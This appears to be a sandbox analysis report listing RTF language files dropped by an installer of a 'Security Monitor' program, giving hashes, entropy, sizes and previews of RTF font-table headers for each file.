SHA-512:	3BED2B0372293ECDF4798D223917556E358EF8AB686D53519EAF6310329FF4B89FB26FA08F42A77D2B16C2065218B9EE746D9D126683CEA19ADAF83172895127
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-Q2FFE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	56800
Entropy (8bit):	4.971134438284621
Encrypted:	false
SSDEEP:	768:qqe+2VXLHT2njX8x3TLjwUtqYepAkVZEdvI9DhLVtKAn1+kxATfpyuqFnZ8MSqi7:qqqkhLVvIA9S
MD5:	3B8361BD47C4A33C6753ABF66E840953
SHA1:	F47CF562955DAD89D07730162B53A778A9F72AD4
SHA-256:	81FA4579AC6CA95049C34F47439231BE533173F12A63187779B6F3762F648679
SHA-512:	CA1EBC99A888904B1BF43144C75F58FA4A3F2143FB00341E0EEA61B05CDD60E02F7527E4822144A082321CF2C93EEB8F395EA22295B0D3D9EBCBE9D32CE90456
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-QDPS0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	39483
Entropy (8bit):	5.037147955886456
Encrypted:	false
SSDEEP:	384:2aFkyWNdW2OTYn/akrOc7jgskl7rVGGASZqeY4sMQi1OkBSyAQdAMeo75Y3kpTBd:2aFknOc7cskl/VGGAS0MDAJZ/6A9S
MD5:	2A08EEECD3328F25905421850E9182BE
SHA1:	EC931D459DAD71B222442AA00412E1E627F343E2
SHA-256:	F7F40C10AE7B09FB3D476FCEA2E2FC7CCA8DF57EE92899A1675B4A1B7D61749D
SHA-512:	D1F92F97F9B9F560A0FC510567A63B8A150759DCE4E25F0AA7B302537E3745FFA9722C144D1FF09308E7F131E92AD1CD5CB91C21B21ECE8B62E7A90B85911C10
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-QTVMT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42784
Entropy (8bit):	5.040903024418766
Encrypted:	false
SSDEEP:	768:qqFkwx1eXCpMF2njX8x3JLjwUtqYepjRBcnjX8x3D5xoYAo79Q88T27Z/6A9I:qqRbnIA9I
MD5:	6A4574B9B32C4BC5A6F9B7825A003942
SHA1:	30BB8557175BD91B06453AA8017FA35754D870C6
SHA-256:	6EB4E3BD1DDD9B08957F4B2EC49482EB8C6A083F812703F28A51EDD2E1B65DCB
SHA-512:	2A220BD4DCE899F86CA79DB7F977362554CD80AB72BCC9EB24A28FA4D72B0F0A617655B76ACEEF6991273AA459CD1C7BF29FBB5EFE4C1E9C30CD900124E2BE81
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\pano

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-VU4N3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	73792
Entropy (8bit):	4.964676170455869
Encrypted:	false
SSDEEP:	768:qqFy4Ix1ELHT2njX8x3TLjwUtqYepAkVZEdvI9vtjP1KAn1+kxazy9qGZBwnzKul:qqJCFtjPmYeIA9/
MD5:	248443A08A6A0A95E8F172FC20682550
SHA1:	79F8FB1257C4686C4EE643E2FCCE5306D2C7F5BC
SHA-256:	507932E99002CF707D5CBD4355955DB83A13C47C13DF7301E51FCE0BD4A1C75D
SHA-512:	D6AF2CB284B942F818D9FD3949ACBD05A40D72E701B62432F64A7633E8550EDF2CC4F0C2973C784BC0AE6523E25F13729C933DB702C578050BE8BE4B9EC20E1D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\keyboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	45730
Entropy (8bit):	5.0380816279242895
Encrypted:	false
SSDEEP:	768:qqXQUx1e8Ca9DGi3w2EHnT2njX8x3FA5xr7YZhZOZiZFs7tAZkjCfbH1Yvv71KDH:qqAGeCIA9+
MD5:	BDBE095C7A0E96988B0CF67900DC1BEA
SHA1:	D2FDD08E37CDD417C3CD03A0432CDD50405DA76D
SHA-256:	EA0ADE471AA7488DF2B2589410D86472EDDDEC744B1F61ADE5347E9E3A297DD9
SHA-512:	87C1513C522958F71339D363324B0B5A439E090478D5D235444E329CCB611ED88B8AA186BBFA91B3D4DC576022CD62AEBC2019149A80073BF6CE37670EC4ACAD
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f39\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Arial CYR;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\pa

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\logging.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	50474
Entropy (8bit):	5.02065375573397
Encrypted:	false
SSDEEP:	768:q4Fk5e0/qCdXF2njX8x3l7G5V5V5h5G5P5N58JCxCIWC3/OpfVPV0VVqrHLLA2YG:q4bdAc8IA9+
MD5:	9796F2ACB16A082E1398FF7EB812FBF6
SHA1:	3D0439006944B32BA2864A66D50F7BB30857548B
SHA-256:	ACBF9B9D0150B9371E4FC0609F119C77E28F9999F6D30FEE0F1665F6A1116354
SHA-512:	AA0C265F319ED1193E474D23A793C53A697D44B29806EF6EDA7FABF83C597E45F49076D97DB919EC897E9257FCD41AB560A91E50D77EE6148FBA8A6D695DCE8D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\noPRO.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	56800
Entropy (8bit):	4.971134438284621
Encrypted:	false
SSDEEP:	768:qqe+2VXLHT2njX8x3TLjwUtqYepAkVZEdvI9DhLVtKAn1+kxATfpyuqFnZ8MSqi7:qqqkhLVvIA9S
MD5:	3B8361BD47C4A33C6753ABF66E840953
SHA1:	F47CF562955DAD89D07730162B53A778A9F72AD4
SHA-256:	81FA4579AC6CA95049C34F47439231BE533173F12A63187779B6F3762F648679
SHA-512:	CA1EBC99A888904B1BF43144C75F58FA4A3F2143FB00341E0EEA61B05CDD60E02F7527E4822144A082321CF2C93EEB8F395EA22295B0D3D9EBCBE9D32CE90456
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\noURL.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	73792
Entropy (8bit):	4.964676170455869
Encrypted:	false
SSDEEP:	768:qqFy4Ix1ELHT2njX8x3TLjwUtqYepAkVZEdvI9vtjP1KAn1+kxazy9qGZBwnzKul:qqJCFtjPmYeIA9/
MD5:	248443A08A6A0A95E8F172FC20682550
SHA1:	79F8FB1257C4686C4EE643E2FCCE5306D2C7F5BC
SHA-256:	507932E99002CF707D5CBD4355955DB83A13C47C13DF7301E51FCE0BD4A1C75D
SHA-512:	D6AF2CB284B942F818D9FD3949ACBD05A40D72E701B62432F64A7633E8550EDF2CC4F0C2973C784BC0AE6523E25F13729C933DB702C578050BE8BE4B9EC20E1D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\norton_warning.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	43992
Entropy (8bit):	5.0490517908671535
Encrypted:	false
SSDEEP:	768:2aFknOj9rcGSOzlD0gl+0j3akipVsb5IjTF4BaVy3F1+1h1r1KDZ/6A9z:2amAhbwF4BaA3F1+1h1r1KDIA9z
MD5:	093443BD0007A7BB28B50778BFB43E66
SHA1:	7FC5599F85CEBDA23A323994A57590E14628C84C
SHA-256:	2823645253E4999BA6ED5175DDA4B288C2D01916811294E0E538726BB43952CD
SHA-512:	9A1BB1C996C3B0561B2F1C20D8FB12E3B98322961572803AFFDA7659E024840BA5FD04C53329A443F1C8DB1B16B89CD2E64CCE409AFDBED6139B21F08A65B3C4
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\scheduler.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42930
Entropy (8bit):	5.0450094413030575
Encrypted:	false
SSDEEP:	768:qqFy/4jfDCcJJrNgVVhGPNhHwGNjm+epnqyxz/BSKIasAzoBYcXumDpIyZ/6A97:qqraqpIA97
MD5:	DBF71033F406A5C5C9AEA3EC2E669C28
SHA1:	829479F385D2FFC9EFF81C2E3F3543289D64C1B9
SHA-256:	452AA2D29FFC659EF8042B9933B8DD6A7A679E906371F3C5530E740ED0B8605F
SHA-512:	B926A8072DBAF438AC4F1B920D4C7B4A1E16BCD371F904DB429927968D2DA1D4C3ED1517DD7E8D35604911623F86EB4F46A3ADDA56B27BAEB9DB6063CA51BF68
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\screenshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	49574
Entropy (8bit):	5.031691924230754
Encrypted:	false
SSDEEP:	768:4qFys4jeDCcJ+r15g5V5V5h5G5P5N5hBcqtqYepn3/xXdQQMQs2YMKBX49nNbaEq:4qYo3CtU7c7KIA9m
MD5:	AEE08B8B9A32D64F630D57580A2D4457
SHA1:	0BD2511BF3C71E549858E1990A07CA29A11A9C8D
SHA-256:	468D9AA761B58B6CCA9C93C271D3B9A3EC96D367019CA53F0579E3A5E87720FE
SHA-512:	16CE81CF5D2A1910E845DC857AEC389ADB9E2A05E262DD47F4285A5BF5EE9A522622484EC9CE875089B1526B0C0A5956A66B858A6A731F33F2BDE6E1FE130A71
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff-10\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\settings.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	66194
Entropy (8bit):	4.972115474061052
Encrypted:	false
SSDEEP:	768:q4Fkex1eiCUYvmpNM2UrPGsGx7TYlDidldgOQrrFlEoIeRWeWyWVWAWJHZIWRWe0:q4vsLIA9i
MD5:	6181F9D5B81EC15F49F57FCFABF69562
SHA1:	451D5FBDF90E8CD153DC5990092613901D084CD1
SHA-256:	442E6A351381A56F912F0A68036C868F60D45117C92C9C2225948AC614DF7416
SHA-512:	5F5C61E9995C9081CFC0F97E857B5D67E45A1A6FD0796927AE694E25E41A50129E1952B19CF9A40A325A23137732465A718B1282C23688093160A0FF604BB124
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\siteblock.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	57638
Entropy (8bit):	4.981099786389407
Encrypted:	false
SSDEEP:	768:q4e94jXjOcPI0QhhiLVRMek4aEqkGBKugOLT7eQk8C/Pr+uPmB35LBUo22xt2VOz:q49OUnWkIA9U
MD5:	DAEEF8D403213DE69003FA2BA7664B93
SHA1:	4A5FE0EE5ACCA61948EDA61062B395F59E224E7F
SHA-256:	635C6F72A6029595AF7922DF53835CE80BF486671E0BE4164D4612F03E993FF4
SHA-512:	5DE410F9C6A4F4A27ED9F456DF9D0D79DF87A21125718CC9B6674B0A4ED686F0630B1BE86A30B787053C3380A24C844899C3CFAA9A4854E72DA803AD673AF92E
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\snapshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	47296
Entropy (8bit):	5.036767014333867
Encrypted:	false
SSDEEP:	768:qqFy/4jfDCcJJrNgVVhGPNhHwGNjm+epnqExwaWxZqEUqCuj8QDe3n3g3/3Z3z3V:qqraqDIA9/
